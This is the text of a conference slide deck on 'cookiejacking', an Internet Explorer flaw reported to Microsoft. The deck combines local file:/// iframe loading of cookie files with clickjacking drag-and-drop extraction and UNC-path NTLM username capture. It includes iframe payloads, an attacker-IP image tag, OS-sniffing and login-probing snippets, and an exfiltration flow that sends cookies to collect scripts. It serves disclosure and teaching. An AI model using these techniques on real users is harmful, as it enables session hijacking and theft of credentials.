  • 4. Rosario Valotta Cookiejacking Overview on IE security zones In IE, a web site is assigned to a security zone Sites in the same security zone behave the same way according to security privileges 5 default zones: Local Machine Zone Local Intranet Zone Trusted Sites Zone Internet Zone Restrited Sites Zone Security profiles: A collection of security privileges that can be granted to each given zone Predefined: High, Medium, Medium-Low, Low Customized Privileges: ActiveX & plugins Downloads User authentication Scripting Cross zone interaction Decreasing security privileges Hidden by default
  • 5. Rosario Valotta Cookiejacking Cross Zone Interaction By rule of thumb a web content belonging to a less privileged zone cannot access content belonging to more privileged zone So it should be impossible for a web content to access local machine files. It should be. <iframe src=“file:///c:/test.txt”></iframe> Access denied
  • 6. Rosario Valotta Cookiejacking Do not open that folder…aka IE 0-day <iframe src="file:///C:/Documents and Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe> What? Cookies folder of the user currently logged All kind of cookies: HTTP Only Secure (HTTPS) cookie Any website Where? Works on IE 6,7, 8 (also protected mode) Tested on XP SP3, Vista, 7
  • 7. Rosario Valotta Cookiejacking Of coordinated discosure and other oddities… January 28th Disclosed to MSRC IE 9 beta still vulnerable March 14°: first official release of IE9 IE9 not vulnerable Two weeks ago New attack vector found, works also on IE9 <iframe src="file:///C:/Documents and Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe> <iframe src=“http://192.168.1.2/redir.pl?url=file:///C:/Documents and Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
  • 8. Rosario Valotta Cookiejacking Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS document.getElementById(‘myId’).contentWindow. document.innerHTML Access denied file:///C:/Documents and Settings/user/Cookies/user@site.txt Where do we go from here? The path of the cookie folder depends on the username currently logged on Same Origin Policy will block any programmatic access to a local iframe content from web domains Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/
  • 9. Rosario Valotta Cookiejacking Clickjacking aka UI Redressing attack Introduced by Jeremiah Grossman and Robert Hansen in 2008 It’s all about: Iframes overlapping CSS opacity opacity=0; z-index=1 opacity=100; z-index=0 The basic approach: Iframe properly positioned Iframe made invisible User clicks “hijacked” User interaction is needed, SOP is not triggered Advanced scenario: content extraction (Paul Stone, 2010) z-axis Social engineer a victim Select content from a legitimate 3rd party page Drag&drop content in an attacker controlled element Steal sensitive HTML contents Links and Images are converted in URLs event.dataTransfer.getData(“Text”)
  • 10. Rosario Valotta Cookiejacking A B Advanced Clickjacking: content extraction Third party iframe is positioned on the start point of the selectionA The victim starts to select content (e.g. text or html) Third party iframe is positioned on the end point of the selectionB The victim stops selecting Third party iframe is positioned somewhere between A and B The victim drags the selected content into an attacker controlled iframe The technique is made up of 6 steps:
  • 11. Rosario Valotta Cookiejacking Insights Iframe loads cookie text file (0-day) Ball image overlapped on the iframe Content extraction technique Attacks mash-up: how the SOP was won Find a way to access cookies Load arbitrary cookies into an iframe Opacity=0 Z-index=1 Opacity=100 Z-index=0
  • 12. Rosario Valotta Cookiejacking Missing pieces Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS file:///C:/Documents and Settings/user/Cookies/user@site.txt The path of the cookie folder depends on the username currently logged on Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/ Optimize content extraction Drag & drop API doesn’t work well across browsers Two different dragging actions required in order to: select content drag&drop it out of the iframe
  • 13. Rosario Valotta Cookiejacking Drag & drop Drag & drop APIs Acknowledged as one of the innovations introduced in HTML5 Not formally part of latest HTML5 draft Based on Microsoft’s original implementation available on IE 5 Not fully supported on IE 6,7,8 Custom implementation on http://www.useragentman.com Works well on all IE versions Custom effects: drag feedback image, cursor shape change, etc
  • 14. Rosario Valotta Cookiejacking Advanced content extraction Two nested iframes defined in the attacker page Iframes sizes properly defined in order to ensure that scrolling is needed for the cookie (B content) to completely come into view E.g. A.height=100; B.height=500 The sequence: User moves the mouse over the B iframe When user clicks down the mouse button the “onfocus” event is triggered The scrollspeed property of the iframe A is set to 100 With the mouse button down and the iframe B scrolling into iframe A, the final effect is that the user is selecting text as long as the mouse button is clicked If the scrollspeed is big enough, a single click time is enough to select the whole cookie content First drag action (content selection) collapsed in a click goes here. You must set the iframe height to ensure that scrolling is needed to completey select the content ACookie contentB onfocus=“scrollspeed=100”
  • 15. Rosario Valotta Cookiejacking Missing pieces Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS file:///C:/Documents and Settings/user/Cookies/user@site.txt The path of the cookie folder depends on the username currently logged on Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/ Optimize content extraction
  • 16. Rosario Valotta Cookiejacking I know your (user)name Exploit a “feature” of IE (already discussed by Jorge Medina in 2010) IE supports access to file system objects on SMB shares Uses UNC (Universal Naming Convention) paths to reference them Can be used without restrictions inside web pages in the Internet zone or above <img src="[WEB SERVER IP ADDRESS]image.jpg"> Anonymous access is tried first Anonymous access is denied NTLM Challenge/Response Negotiation Windows Username, Windows Computer Name, Windows Domain Capture.pl
  • 17. Rosario Valotta Cookiejacking Missing pieces Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/ Optimize content extraction
  • 18. Rosario Valotta Cookiejacking Little dirty secrets The OS version can be retrieved through a little JS: XP = navigator.userAgent.indexOf("Windows NT 5.1"); Vista= navigator.userAgent.indexOf("Windows NT 6.0"); Win7= navigator.userAgent.indexOf("Windows NT 6.1"); Is the cookie valid? True if the victim is logged on a given website Guess if a victim is logged using a “probing” approach (Jeremiah Grossman, 2006) Dynamic attack setup Probing for user authentication Only define iframes to load valid cookies (1 iframe loads 1 cookie) <img src="https://mail.google.com/mail/pimages/2/labs/labs_bar_icon.png" onload=“doThis()" onerror=“doThat()”>
  • 19. Rosario Valotta Cookiejacking Ready to pown… Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS Optimize content extraction
  • 20. Rosario Valotta Cookiejacking The big picture A page containing <img src=“attackerIPdummy> is served Victim’s browser requests img and send Windows username Victim is cookiejacked and sends his cookies Index.html Capture.pl User.txtRedir.pl Onerror event the browser is redirected to a perl script dragPoc.html #username The script read the username sniffed and redirects the browser to the PoC page with the hash value set to username Collect.php
  • 21. Rosario Valotta Cookiejacking The perfect PoC - appealing “content” + - willingly “interact” with her
  • 22. Rosario Valotta Cookiejacking Conclusions Cookiejacking: a new kind of UI redressing attack, exploiting a 0-day vulnerability in all versions of IE, all version of Windows boxes Allows an attacker to steal session cookies, no XSS needed Web site independent: it’s a browser flaw Current countermeasures against Clickjacking don’t work with Cookiejacking Think about using Flash… It’s supposed to last for a long time: there is a huge installation base all over the world

Editor's Notes

  1. aaaaaaa